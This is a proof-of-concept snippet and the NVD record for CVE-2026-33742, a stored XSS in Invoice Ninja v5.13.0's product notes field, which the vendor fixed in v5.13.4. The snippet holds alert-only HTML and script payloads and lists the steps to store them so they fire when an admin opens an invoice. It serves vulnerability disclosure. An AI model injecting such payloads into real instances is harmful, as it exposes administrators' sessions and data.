CVE-2026-33742

// PoC for CVE-2026-33742: Invoice Ninja Stored XSS via Product Notes // Target: Invoice Ninja v5.13.0 // Attackers with low privileges can inject malicious HTML into the 'Product notes' field. // Since the Markdown parser allows raw HTML and it is not sanitized on output, // the script executes when an admin views the invoice. // Malicious Payload to be entered in Product Notes: const payload = "<img src=x onerror=alert('CVE-2026-33742 - Stored XSS')>"; // Alternative Payload (depending on Markdown parser strictness): // const payload = "<script>alert('CVE-2026-33742');</script>"; console.log(`[+] Injecting payload into Product Notes: ${payload}`); // Explanation: // 1. Attacker creates/edits a product. // 2. Pastes the payload into the 'Notes' field. // 3. Saves the product. // 4. The payload is stored in the database. // 5. When an Admin views an invoice containing this product, the XSS triggers.

{"cve": {"id": "CVE-2026-33742", "sourceIdentifier": "[email protected]", "published": "2026-03-26T21:17:08.273", "lastModified": "2026-03-30T17:02:40.170", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Invoice Ninja is a source-available invoice, quote, project and time-tracking app built with Laravel. Product notes fields in Invoice Ninja v5.13.0 allow raw HTML via Markdown rendering, enabling stored XSS. The Markdown parser output was not sanitized with `purify::clean()` before being included in invoice templates. This is fixed in v5.13.4 by the vendor by adding `purify::clean()` to sanitize Markdown output."}, {"lang": "es", "value": "Invoice Ninja es una aplicación de facturación, presupuestos, proyectos y seguimiento del tiempo de código fuente disponible, construida con Laravel. Los campos de notas de producto en Invoice Ninja v5.13.0 permiten HTML en bruto a través de la renderización de Markdown, lo que permite XSS almacenado. La salida del analizador de Markdown no fue saneada con 'purify::clean()' antes de ser incluida en las plantillas de factura. Esto se corrigió en la v5.13.4 por el proveedor al añadir 'purify::clean()' para sanear la salida de Markdown."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:invoiceninja:invoice_ninja:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.13.4", "matchCriteriaId": "FC4B6AFE-F1E5-491A-8E54-A20207B38036"}]}]}], "references": [{"url": "https://github.com/invoiceninja/invoiceninja/releases/tag/v5.13.4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/invoiceninja/invoiceninja/security/advisories/GHSA-xph7-9749-56mh", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/invoiceninja/invoiceninja/security/advisories/GHSA-xph7-9749-56mh", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}